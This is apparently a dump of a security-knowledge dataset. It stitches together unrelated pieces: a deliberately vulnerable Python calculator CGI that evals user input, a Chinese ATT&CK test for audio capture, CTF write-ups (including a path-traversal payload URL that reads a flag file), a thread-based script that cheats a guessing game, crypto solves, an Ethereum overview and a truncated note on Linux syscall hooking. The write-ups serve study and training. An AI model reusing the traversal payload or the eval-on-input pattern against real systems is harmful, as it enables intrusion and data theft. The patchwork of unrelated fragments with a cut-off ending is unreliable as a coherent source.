text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
#!/usr/bin/env python
import cgi;
import sys
from html import escape
FLAG = open('/var/www/flag','r').read()
OK_200 = """Content-type: text/html
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1 abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1 abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""
print(OK_200)
arguments = cgi.FieldStorage()
if 'source' in arguments:
source = arguments['source'].value
else:
source = 0
if source == '1':
print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val
def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
if str(value1).isdigit() ^ str(value2).isdigit():
print('<center>Types of the values don\'t match</center>')
sys.exit(0)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
print('>>>> print('+escape(calc_eval)+')')
try:
result = str(eval(calc_eval))
if result.isdigit() or result == 'True' or result == 'False':
print(result)
else:
print("Invalid") # Sorry we don't support output as a string due to security issue.
except:
print("Invalid")
print('>>> </pre></div></div></div>')
|
sec-knowleage
|
# T1123-win-使用AudioDeviceCmdlets音频收集
## 来自ATT&CK的描述
攻击者可以利用计算机的外围设备（例如，麦克风和网络摄像头）或应用程序（例如，语音和视频呼叫服务）来捕获音频记录，以便侦听敏感的对话用以收集信息。
恶意软件或脚本可能用于通过操作系统或应用程序提供的可用API与设备进行交互以捕获音频。音频文件可能会写入磁盘并在以后被泄漏。
## 测试案例
### 测试1 using device audio capture commandlet
[AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
```
powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
```
## 检测日志
无
## 测试复现
```
PS C:\> Install-Module -Name AudioDeviceCmdlets
PS C:\> Get-AudioDevice -list
```
虚拟机环境，未获取到音频相关信息
## 测试留痕
暂无
## 检测规则/思路
### 建议
由于可能使用各种API，对这种技术的检测是很困难。关于API使用的遥测数据可能没有太大作用，这取决于系统的正常使用方式，但可能为系统上发生的其他潜在的恶意活动提供支持。
可能表明技术使用的行为包括一个未知或不寻常的进程访问与设备或软件相关的API，这些设备或软件与麦克风、录音设备或录音软件互动，以及一个进程定期向磁盘写入包含音频数据的文件。
## 参考推荐
MITRE-ATT&CK-T1123
<https://attack.mitre.org/techniques/T1123/>
Atomic-red-team-T1123
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md>
AudioDeviceCmdlets
<https://github.com/frgnca/AudioDeviceCmdlets>
|
sec-knowleage
|
# Sensors (pwn)
###ENG
[PL](#pl-version)
In the tasks we get access to some web interface of scada-like application.
We quickly notice that in `robots.txt` there is `/firmware` so we proceed there and grab binaries for two pwn tasks.
For this task we focus on [sensor binary](sensor).
The binary has NX, Canary and Fortify so we assume there has to be a way to exploit this without doing any low-level magic.
In robots we can also see that there is `/flag.txt` but the webserver will not give it to us.
This binary sets up a CGI web interface and can be queried by http on the status of some sensors.
We can go to the URL `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=a-1` and this will show the status of `a-1` sensor.
We proceed with reversing the binary, which is statically compiled with come cgi-related library.
We focus on `main` function and `loadSensorConfig` function.
The latter is especially interesting because it opens a file and reads from it - a good target for reading the flag file:
```asm
00000000004015da mov r8d, 0x404192 ; "sensors/%s.cfg", argument #5 for method j___snprintf_chk
00000000004015e0 mov ecx, 0x80 ; argument #4 for method j___snprintf_chk
00000000004015e5 mov edx, 0x1 ; argument #3 for method j___snprintf_chk
00000000004015ea mov esi, 0x80 ; argument #2 for method j___snprintf_chk
00000000004015ef xor eax, eax
00000000004015f1 call j___snprintf_chk
00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn
00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn
0000000000401600 call j_strcspn
0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen
000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen
000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x0
0000000000401614 call j_fopen
0000000000401619 test rax, rax
000000000040161c mov rbx, rax
000000000040161f jne 0x401641
;
0000000000401641 lea rdi, qword [ss:rsp+0x1a8+var_110] ; argument "str" for method j_fgets, XREF=loadSensorConfig+146
0000000000401649 mov rdx, rax ; argument "stream" for method j_fgets
000000000040164c mov esi, 0x100 ; argument "size" for method j_fgets
0000000000401651 call j_fgets
0000000000401656 test rax, rax
0000000000401659 mov rdi, rbx
000000000040165c jne 0x401665
```
We can also notice that if the loaded file is not a proper configuration of a sensor, it will call:
```asm
000000000040168c mov edi, 0x190 ; argument #1 for method cgiHeaderStatus
0000000000401691 call cgiHeaderStatus
0000000000401696 lea rsi, qword [ss:rsp+0x1a8+var_110] ; argument #2 for method debug_printf
000000000040169e mov edi, 0x4041e8 ; "Invalid configuration:\\n%s\\n", argument #1 for method debug_printf
00000000004016a3 xor eax, eax
00000000004016a5 call debug_printf
00000000004016aa jmp 0x40163c
```
So it will actually print the contents of the file using `debug_printf`.
Looking at this function tells us that we simply need to set GET parameter `debug` to see the output of this function.
No we have to force the binary to read the flag file instead of the sensor file.
We can see that it calls `snprintf` with format `sensors/%s.cfg` with the input we provide.
If we could smuggle there a nullbyte we could cut the `.cfg` extension, and by using `../` we could go to the proper directory with the flag.
Unfortunately we can't do that because the input is already processed with `strcpy` with the cgi library, so any nullbytes are already removed at this point.
Our next thought was to provide long input, because `snprintf` will write only up to `n` characters, so if the input is long enough we could again end up with final string without `.cfg`.
But this doesn't work either because the cgi library is limiting the length of input parameter and it's always shorter than what we would need.
The `snprintf` has 0x80 bytes in buffer and the parameter is set in main to be at most 0x40 bytes.
But there is one curious thing in the code:
```asm
00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn
00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn
0000000000401600 call j_strcspn
0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen
000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen
000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x0
```
As we can see a function `strcspn` is called with our input as one parameter and some constant from `0x4044b4` as another one, and it actually sets 0x0 inside the string formed already by `snprintf` at index returned from `strcspn`!
So in the end we can actually put a nullbyte there as long as `strcspn` returns index before the `.cfg`
If we look at the constant at `0x4044b4` we can see:
```asm
00000000004044b4 dd '\x0d\x0a\x00w'
```
So it seems passing `\r` or `\n` will trigger this.
This means that by passing as input `sensor=../flag.txt%0A` the `snprintf` will create `/sensors/../flag.txt\n.cfg` and then after `strcspn` this will change into `/sensors/../flag.txt\0.cfg` and therefore fopen will ignore `.cfg` opening the flag for us!
So finally running `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=../flag.txt%0A&debug` we get `flag:directory_traversal_in_c`
###PL version
W zadaniu dostajemy dostęp do webowego interfejsu aplikacji scada.
Szybko zauważamy że w `robots.txt` mamy informacje o katalogu `/firmware` z którego wyciągamy dwie binarki do zadań pwn.
W tym zadaniu skupimy się na [aplikacji sensor](sensor).
Binarka ma NX, Canary i Fortify więc spodziewamy się, że należy ją exploitować bez niskopoziomowej magii.
W robots widzimy też że jest `/flag.txt` ale serwer nie chce podać nam tego pliku.
Aplikacja wystawia za pomocą CGI interfejs webowy który pozwala po http odpytywać o stan sensorów.
Możemy iść pod url `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=a-1` i dostaniemy stan sensora `a-1`.
Następnie przechodzimy do reversowania aplikacji, która jest statycznie kompilowana z jakąś biblioteką do cgi.
Skupiamy się na analizie funkcji `main` oraz `loadSensorConfig`.
Ta druga jest szczególnie ciekawa bo otwiera plik i czyta z niego - może da się za jej pomocą odczytać flagę:
```asm
00000000004015da mov r8d, 0x404192 ; "sensors/%s.cfg", argument #5 for method j___snprintf_chk
00000000004015e0 mov ecx, 0x80 ; argument #4 for method j___snprintf_chk
00000000004015e5 mov edx, 0x1 ; argument #3 for method j___snprintf_chk
00000000004015ea mov esi, 0x80 ; argument #2 for method j___snprintf_chk
00000000004015ef xor eax, eax
00000000004015f1 call j___snprintf_chk
00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn
00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn
0000000000401600 call j_strcspn
0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen
000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen
000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x0
0000000000401614 call j_fopen
0000000000401619 test rax, rax
000000000040161c mov rbx, rax
000000000040161f jne 0x401641
;
0000000000401641 lea rdi, qword [ss:rsp+0x1a8+var_110] ; argument "str" for method j_fgets, XREF=loadSensorConfig+146
0000000000401649 mov rdx, rax ; argument "stream" for method j_fgets
000000000040164c mov esi, 0x100 ; argument "size" for method j_fgets
0000000000401651 call j_fgets
0000000000401656 test rax, rax
0000000000401659 mov rdi, rbx
000000000040165c jne 0x401665
```
Możemy zauważyć też, ze jeśli wczytany plik nie jest poprawną konfiguracją dla sensorów to wykonane zostanie:
```asm
000000000040168c mov edi, 0x190 ; argument #1 for method cgiHeaderStatus
0000000000401691 call cgiHeaderStatus
0000000000401696 lea rsi, qword [ss:rsp+0x1a8+var_110] ; argument #2 for method debug_printf
000000000040169e mov edi, 0x4041e8 ; "Invalid configuration:\\n%s\\n", argument #1 for method debug_printf
00000000004016a3 xor eax, eax
00000000004016a5 call debug_printf
00000000004016aa jmp 0x40163c
```
Więc ta funkcja wypisze nam zawartość niepoprwanego pliku za pomocą `debug_printf`.
Analiza tej funkcji pozwala stwierdzić że wystarczy ustawić parametr GET `debug` żeby widzieć jej wyniki.
Teraz pozostaje nam zmusić binarke do wczytania flagi zamiast konfiguracji sensora.
Widzimy że wywoływane jest `snprintf` z formatem `sensors/%s.cfg` dla danych które wprowadzimy.
Gydybyśmy mogli przemycić tam nullbyte to końcówka `.cfg` zostałaby ucięta i za pomocą `../` moglibyśmy wyjść do katalogu z flagą i ją odczytać.
Niestety nie możemy tego zrobić bo dane są już wcześnie przetworzone przez `strcpy` w bibliotece cgi i wszystkie nullbyte są usunięte kiedy tu dochodzimy.
Nasza kolejna myśl to wprowadzenie długiego inputu, ponieważ `snprintf` zapisze nie więcej niż `n` znaków, więc gdyby input był odpowiednio długi moglibyśmy znów uzyskać wynikowy string bez `.cfg`.
Niestety to też nie jest możliwe bo biblioteka cgi limituje długość parametru i zawsze jest za krótki.
Funkcja `snprintf` ma bufor na 0x80 znaków a parametry są w main ograniczane do 0x40 bajtów.
Ale w kodzie jest pewna ciekawa rzecz:
```asm
00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn
00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn
0000000000401600 call j_strcspn
0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen
000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen
000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x0
```
Jak widać funkcja `strcspn` jest wywoływana z naszym wejściem i jakąś stałą z `0x4044b4` jako drugim parametrem i następnie bajt 0x0 jest ustawiany wewnątrz stringa przygotowanego już przez `snprintf` a takim indeksie jaki zwróci `strcspn`!
Więc możemy ustawić nullbyte o ile `strcspn` zróci indeks przed `.cfg`
Jeśli zerkniemy teraz na stałą pod `0x4044b4` zobaczymy:
```asm
00000000004044b4 dd '\x0d\x0a\x00w'
```
Z czego wynika ze wysłanie `\r` lub `\n` da oczekiwany przez nas efekt dodania nullbyte.
To oznacza że dla wejścia `sensor=../flag.txt%0A` `snprintf` utworzy ścieżkę `/sensors/../flag.txt\n.cfg` a następnie po `strcspn` to zostanie zmienione na `/sensors/../flag.txt\0.cfg` a tym samym fopen zignoruje `.cfg` i otworzy dla nas flagę!
Finalnie uruchomienie `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=../flag.txt%0A&debug` daje nam `flag:directory_traversal_in_c`
|
sec-knowleage
|
# My simple cipher (crypto)
In the task we get a simple encryption code:
```python
import sys
import random
key = sys.argv[1]
flag = '**CENSORED**'
assert len(key) == 13
assert max([ord(char) for char in key]) < 128
assert max([ord(char) for char in flag]) < 128
message = flag + "|" + key
encrypted = chr(random.randint(0, 128))
for i in range(0, len(message)):
encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)
print(encrypted.encode('hex'))
```
And resulting ciphertext: `7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e
`
We know that bytes of key and flag are < 128 and we of course know that the flag starts with `TWCTF{`.
It's clear that this can be inverted by hand, but we're too lazy for that and we simply used the code to generate constraints on the parameter and asked Z3 for the flag.
We know constraints:
- flag and key are < 128 and >= 0
- flag starts with `TWCTF{`
- one character is `|`
On top of that we can run the code and generate constraints on the way directly from encryption code:
```python
def read_data():
return "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e".decode("hex")
def decryptor():
data = read_data()
s = z3.Solver()
flag = [z3.Int("flag_" + str(i)) for i in range(len(data) - 15)]
key = [z3.Int("key_" + str(i)) for i in range(13)]
pipe = z3.Int("pipe")
s.add(pipe == ord("|"))
for var in flag:
s.add(var < 128)
s.add(var >= 0)
for i, c in enumerate("TWCTF{"):
s.add(flag[i] == ord(c))
for var in key:
s.add(var < 128)
s.add(var >= 0)
message = flag + [pipe] + key
for i in range(1, len(data)):
index = i - 1
byte = ord(data[i])
s.add((message[index] + key[index % 13] + ord(data[index])) % 128 == byte)
print(s.check())
print(s.model())
print("".join([chr(int(str(s.model()[var]))) for var in message]))
```
Which gives us `TWCTF{Crypto-is-fun!}|ENJ0YHOLIDAY!`
|
sec-knowleage
|
## GuessTheNumber (ppc, 150+80p)
The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script. He also gave you some hard facts:
he uses some LCG with standard glibc LCG parameters
the LCG is seeded with server time using number format YmdHMS (python strftime syntax)
numbers are from 0 up to (including) 99
numbers should be sent as ascii string
You can find the service on school.fluxfingers.net:1523
### PL
[ENG](#eng-version)
Pierwsze podejście do zadania polegało na implementacji opisanego w zadaniu LCG i próbie dopasowania wyników do zgadywanki z serwera. Jednak bardzo szybko uznaliśmy, że możliwości jest bardzo dużo i nie ma sensu ich analizować skoro da się to zadanie wykonać dużo prościej.
Do zgadnięcia mamy zaledwie 100 liczb pod rząd a rozdzielczość zegara na serwerze to 1s. W związku z tym uznaliśmy, że prościej i szybciej będzie po prostu oszukiwać w tej grze :)
Wiemy że liczby generowane są przez LCG co oznacza, że dla danego seeda liczby do zgadnięcia są zawsze takie same. W szczególności jeśli dwóch użytkowników połączy się w tej samej sekundzie to wszystkie 100 liczb do zgadnięcia dla nich będzie takie samo. Dodatkowo serwer zwraca nam liczbę której oczekiwał jeśli się pomylimy.
Nasze rozwiązanie jest dość proste:
* Uruchamiamy 101 wątków, które w tej samej sekundzie łączą się z docelowym serwerem.
* Synchronizujemy wątki tak, żeby wszystkie zgadywały jedną turę w tej samej chwili a następnie czekały aż wszystkie skończą.
* W każdej turze wszystkie wątki oprócz jednego czekają na liczbę do wysłania.
* W każdej iteracji jeden wątek "poświęca się" wysyłając -1 jako odpowiedź, a następnie odbiera od serwera poprawną odpowiedź i informuje o niej pozostałe wątki.
* W efekcie co turę "tracimy" jeden wątek, ale wszystkie pozostałe przechodzą do następnej tury podając poprawną odpowiedź.
Każdy wątek realizuje poniższy kod:
```python
max = 101
threads = Queue()
correct_values = Queue()
init_barier = threading.Barrier(max)
init_barier_seeds = threading.Barrier(max)
bar = [threading.Barrier(max - i) for i in range(max)]
seeds = set()
def worker(index):
threads.get()
init_barier.wait()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("school.fluxfingers.net", 1523))
initial_data = str(s.recv(4096))
seeds.add(parse_seed(initial_data))
init_barier_seeds.wait()
if len(seeds) != 1: # make sure we all start with the same seed, otherwise quit
threads.task_done()
return
for i in range(max):
bar[i].wait() #wait on the barrier for all other threads
if i == index: # suicide thread
value = -1
else:
value = correct_values.get()
s.send(bytes(str(value) + "\n", "ASCII"))
data = str(s.recv(4096))
print("thread " + str(index) + " iteration " + str(i) + " " + data)
if "wrong" in data.lower():
correct = re.compile("'(\d+)'").findall(data)[0]
for j in range(max - i - 1): # tell everyone what is the right number
correct_values.put(correct)
break
threads.task_done()
```
Kompletny skrypt dostępny [tutaj](guess.py)
Uruchamiamy skrypt i dostajemy:
```
thread 98 iteration 97 b'Correct! Guess the next one!\n'
thread 99 iteration 97 b'Correct! Guess the next one!\n'
thread 100 iteration 97 b'Correct! Guess the next one!\n'
thread 98 iteration 98 b"Wrong! You lost the game. The right answer would have been '38'. Quitting."
thread 99 iteration 98 b'Correct! Guess the next one!\n'
thread 100 iteration 98 b'Correct! Guess the next one!\n'
thread 99 iteration 99 b"Wrong! You lost the game. The right answer would have been '37'. Quitting."
thread 100 iteration 99 b"Congrats! You won the game! Here's your present:\nflag{don't_use_LCGs_for_any_guessing_competition}"
```
`flag{don't_use_LCGs_for_any_guessing_competition}`
### ENG version
Initial attempt for this task was to implement described LCG and trying to match the output for the results on the server. But we instantly decided that there are too many possibilities and there is no point in wasting time for analysis when we can do it much easier.
We need to guess only 100 numbers in a row and the clock resolution on the server is just 1s. So we decided that it will be better and faster just to cheat the game :)
We know that the numbers are generated with LCG which means that for given seed the numbers are always the same. In particular, if two users connect at the same time the 100 numbers to guess will be identical. On top of that the server returns the expected number if we make a mistake.
Our solution was quite simple:
* Run 101 threads, which will connect to the server at the same time.
* Synchronize the threads so that they all execute a single turn and the wait for the rest.
* In each turn all threads but one are waiting for the number to send.
* In each turn one thread "sacrifices himself" sending -1 as answer, and the collects the correct number form server response and informs rest of the threads about it.
* As a result in each turn we "lose" one thread but all the others pass to the next round.
Eaach thread executes:
```python
max = 101
threads = Queue()
correct_values = Queue()
init_barier = threading.Barrier(max)
init_barier_seeds = threading.Barrier(max)
bar = [threading.Barrier(max - i) for i in range(max)]
seeds = set()
def worker(index):
threads.get()
init_barier.wait()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("school.fluxfingers.net", 1523))
initial_data = str(s.recv(4096))
seeds.add(parse_seed(initial_data))
init_barier_seeds.wait()
if len(seeds) != 1: # make sure we all start with the same seed, otherwise quit
threads.task_done()
return
for i in range(max):
bar[i].wait() #wait on the barrier for all other threads
if i == index: # suicide thread
value = -1
else:
value = correct_values.get()
s.send(bytes(str(value) + "\n", "ASCII"))
data = str(s.recv(4096))
print("thread " + str(index) + " iteration " + str(i) + " " + data)
if "wrong" in data.lower():
correct = re.compile("'(\d+)'").findall(data)[0]
for j in range(max - i - 1): # tell everyone what is the right number
correct_values.put(correct)
break
threads.task_done()
```
Complete script is [here](guess.py).
We run the script and we get:
```
thread 98 iteration 97 b'Correct! Guess the next one!\n'
thread 99 iteration 97 b'Correct! Guess the next one!\n'
thread 100 iteration 97 b'Correct! Guess the next one!\n'
thread 98 iteration 98 b"Wrong! You lost the game. The right answer would have been '38'. Quitting."
thread 99 iteration 98 b'Correct! Guess the next one!\n'
thread 100 iteration 98 b'Correct! Guess the next one!\n'
thread 99 iteration 99 b"Wrong! You lost the game. The right answer would have been '37'. Quitting."
thread 100 iteration 99 b"Congrats! You won the game! Here's your present:\nflag{don't_use_LCGs_for_any_guessing_competition}"
```
`flag{don't_use_LCGs_for_any_guessing_competition}`
|
sec-knowleage
|
# login
Web, 100 points
## Description
> My dog-sitter's brother made this website but I can't get in; can you help?
## Solution
We enter the website and see a simple login form:
```html
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="styles.css">
<script src="index.js"></script>
</head>
<body>
<div>
<h1>Login</h1>
<form method="POST">
<label for="username">Username</label>
<input name="username" type="text"/>
<label for="username">Password</label>
<input name="password" type="password"/>
<input type="submit" value="Submit"/>
</form>
</div>
</body>
</html>
```
Let's check the Javascript file:
```javascript
(async () => {
await new Promise(
(e => window.addEventListener("load", e))), document.querySelector("form").addEventListener("submit", (e => {
e.preventDefault();
const r = {
u: "input[name=username]",
p: "input[name=password]"
},
t = {};
for (const e in r) t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
}))
})();
```
We can easily see that the username and password are compared to hardcoded values. We also see that the flag is the decoded password:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/login]
└─$ echo cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ== | base64 -d
picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
```
|
sec-knowleage
|
# Ethereum Overview
!!! info
CTF 中关于区块链安全的内容，目前为止，涉及到最多的便是 Ethereum 安全。
## 定义
> Ethereum is a decentralized, open-source blockchain featuring smart contract functionality. Ether (ETH) is the native cryptocurrency of the platform. It is the second-largest cryptocurrency by market capitalization, after Bitcoin. Ethereum is the most actively used blockchain. ------ from [wikipedia](https://en.wikipedia.org/wiki/Ethereum)
Ethereum 是区块链 2.0 的代表产物，因其底层使用区块链技术，所以继承区块链的各种特性，其中有一项便是 **代码一旦上链，便难以篡改或更改**，所以我们需要额外关注它的安全。
智能合约 (Smart Contract) 是 Ethereum 中最为重要的一个概念，允许在没有第三方的情况下进行可信交易，这些交易可追踪且不可逆转。
## CTF 中的区块链
CTF 中有关于 Ethereum Security 还是比较简单的，主要涉及到的是 Solidity Security， 下面介绍一下需要具备的基本能力。
### 要求
- 对区块链基本知识以及交易本质有所了解
- 熟悉并掌握 Solidity 编程语言及以太坊虚拟机 EVM 运行机制
- 熟悉各种测试链，包括私链
- 熟悉 Remix、MetaMask、web3.js、web3.py 等工具或库的使用
- 了解并掌握以太坊智能合约各种漏洞及其攻击原理
- 对底层 opcodes 理解透彻
- 较强的程序理解和逆向分析能力
!!! note
注：以太坊智能合约大多数不公开源代码，而是字节码，所以需要逆向分析能力。
|
sec-knowleage
|
# cryptoquizz (crypto/misc 50)
###ENG
[PL](#pl-version)
The task was marked as crypto but it was a misc if anything.
In the task the server ask us about a year of birth of some famous cryptographer and after a while sends a flag.
We made a script which was taking data from google and wikipedia for this.
Since the timeout was very short we cached all results we had and stored in a dict for later reuse:
```python
import re
import requests
from crypto_commons.netcat.netcat_commons import nc, receive_until_match
def get_birth_year(name):
url = "https://www.google.pl/search?q=" + (name.replace(" ", "+"))
content = requests.get(url).content
reg = "Data i miejsce urodzenia:.+?(\d{4})"
potential = re.findall(reg, content)
if len(potential) > 0:
return potential[0]
reg = "Data urodzenia:.+?(\d{4})"
potential = re.findall(reg, content)
if len(potential) > 0:
return potential[0]
else:
url = "https://en.wikipedia.org/wiki/" + (name.replace(" ", "_"))
content = requests.get(url).content
reg = "\(.*born.*(\d{4})\)"
return re.findall(reg, content)[0]
def main():
dictionary = {'David Chaum': '1955', 'Paul Kocher': '1973', 'Jean-Jacques Quisquater': '1945',
'Gilles Brassard': '1955', 'David Naccache': '1967', 'Claus-Peter Schnorr': '1943',
'Oded Goldreich': '1957', 'Scott Vanstone': '1947', 'Douglas Stinson': '1956',
'Vincent Rijmen': '1970', 'Yehuda Lindell': '1971', 'Daniel Bleichenbacher': '1964',
'Rafail Ostrovsky': '1963', 'Wang Xiaoyun': '1966', 'Donald Davies': '1924', 'Claude Shannon': '1916',
'Daniel J. Bernstein': '1971', 'Neal Koblitz': '1948', 'Tatsuaki Okamoto': '1952',
'Horst Feistel': '1915', 'Paul van Oorschot': '1962', 'Whitfield Diffie': '1944',
'Kaisa Nyberg': '1948', 'Lars Knudsen': '1962', 'Alan Turing': '1912', 'Markus Jakobsson': '1968',
'Silvio Micali': '1954', 'Nigel P. Smart': '1967', 'Ivan Damgard': '1956', 'Jacques Patarin': '1965',
'Serge Vaudenay': '1968', 'Jacques Stern': '1949', 'Ron Rivest': '1947', 'Yvo Desmedt': '1956',
'Arjen K. Lenstra': '1956'}
s = nc("quizz.teaser.insomnihack.ch", 1031)
reg = "What is the birth year of (.*) \?\n\n"
try:
while True:
data = receive_until_match(s, reg, 1000)
print(data)
name = re.findall(reg, data)[0]
print(name)
if name in dictionary:
year = dictionary[name]
else:
year = get_birth_year(name)
dictionary[name] = year
print(year)
s.sendall(year + "\n")
print(dictionary)
except:
print(data)
print(dictionary)
main()
```
And this got us instantly: `INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE}`
###PL version
Zadanie było oznaczone jako crypto, ale ewidentnie był to misc.
W zadaniu serwer pyta nas o rok urodzenia sławnych kryptografów a po kilku udanych próbach zwraca flagę.
Napisaliśmy skrypt który za pomocą google i wikipedii wyszukiwał odpowiedź.
Timeout był bardzo krótki więc wyniki zbieraliśmy w mapie żeby móc je ponownie wykorzystać.
```python
import re
import requests
from crypto_commons.netcat.netcat_commons import nc, receive_until_match
def get_birth_year(name):
url = "https://www.google.pl/search?q=" + (name.replace(" ", "+"))
content = requests.get(url).content
reg = "Data i miejsce urodzenia:.+?(\d{4})"
potential = re.findall(reg, content)
if len(potential) > 0:
return potential[0]
reg = "Data urodzenia:.+?(\d{4})"
potential = re.findall(reg, content)
if len(potential) > 0:
return potential[0]
else:
url = "https://en.wikipedia.org/wiki/" + (name.replace(" ", "_"))
content = requests.get(url).content
reg = "\(.*born.*(\d{4})\)"
return re.findall(reg, content)[0]
def main():
dictionary = {'David Chaum': '1955', 'Paul Kocher': '1973', 'Jean-Jacques Quisquater': '1945',
'Gilles Brassard': '1955', 'David Naccache': '1967', 'Claus-Peter Schnorr': '1943',
'Oded Goldreich': '1957', 'Scott Vanstone': '1947', 'Douglas Stinson': '1956',
'Vincent Rijmen': '1970', 'Yehuda Lindell': '1971', 'Daniel Bleichenbacher': '1964',
'Rafail Ostrovsky': '1963', 'Wang Xiaoyun': '1966', 'Donald Davies': '1924', 'Claude Shannon': '1916',
'Daniel J. Bernstein': '1971', 'Neal Koblitz': '1948', 'Tatsuaki Okamoto': '1952',
'Horst Feistel': '1915', 'Paul van Oorschot': '1962', 'Whitfield Diffie': '1944',
'Kaisa Nyberg': '1948', 'Lars Knudsen': '1962', 'Alan Turing': '1912', 'Markus Jakobsson': '1968',
'Silvio Micali': '1954', 'Nigel P. Smart': '1967', 'Ivan Damgard': '1956', 'Jacques Patarin': '1965',
'Serge Vaudenay': '1968', 'Jacques Stern': '1949', 'Ron Rivest': '1947', 'Yvo Desmedt': '1956',
'Arjen K. Lenstra': '1956'}
s = nc("quizz.teaser.insomnihack.ch", 1031)
reg = "What is the birth year of (.*) \?\n\n"
try:
while True:
data = receive_until_match(s, reg, 1000)
print(data)
name = re.findall(reg, data)[0]
print(name)
if name in dictionary:
year = dictionary[name]
else:
year = get_birth_year(name)
dictionary[name] = year
print(year)
s.sendall(year + "\n")
print(dictionary)
except:
print(data)
print(dictionary)
main()
```
To prawie od razu dało nam: `INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE}`
|
sec-knowleage
|
原文 by [ysrc](https://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483953&idx=1&sn=1c34aba130041bc6f4c6afdaf19eb1c7&chksm=eb8c5688dcfbdf9eb69dcdfb852a1f54b2d6cd02b813dcd8986dbf6731be12dfe22e95b5550e&mpshare=1&scene=1&srcid=0403WX9YzCe0lAeBvICb3pb7#rd)
## 0x00 背景介绍
Linux上的HIDS需要实时对执行的命令进行监控，分析异常或入侵行为，有助于安全事件的发现和预防。为了获取执行命令，大致有如下方法：
1. 遍历/proc目录，无法捕获瞬间结束的进程。
2. Linux kprobes调试技术，并非所有Linux都有此特性，需要编译内核时配置。
3. 修改glic库中的execve函数，但是可通过int0x80绕过glic库，这个之前360 A-TEAM一篇文章有写到过。
4. 修改sys_call_table，通过LKM(loadable kernel module)实时安装和卸载监控模块，但是内核模块需要适配内核版本。
确定了Hook点之后，就可以选择Hook方案了，这时有几个选择：
在应用层：
1、在ring3通过/etc/ld.so.preload劫持系统调用
2、二次开发glibc加入监控代码(据说某产品就是这么做监控的)
3、基于调试器思想通过ptrace()主动注入
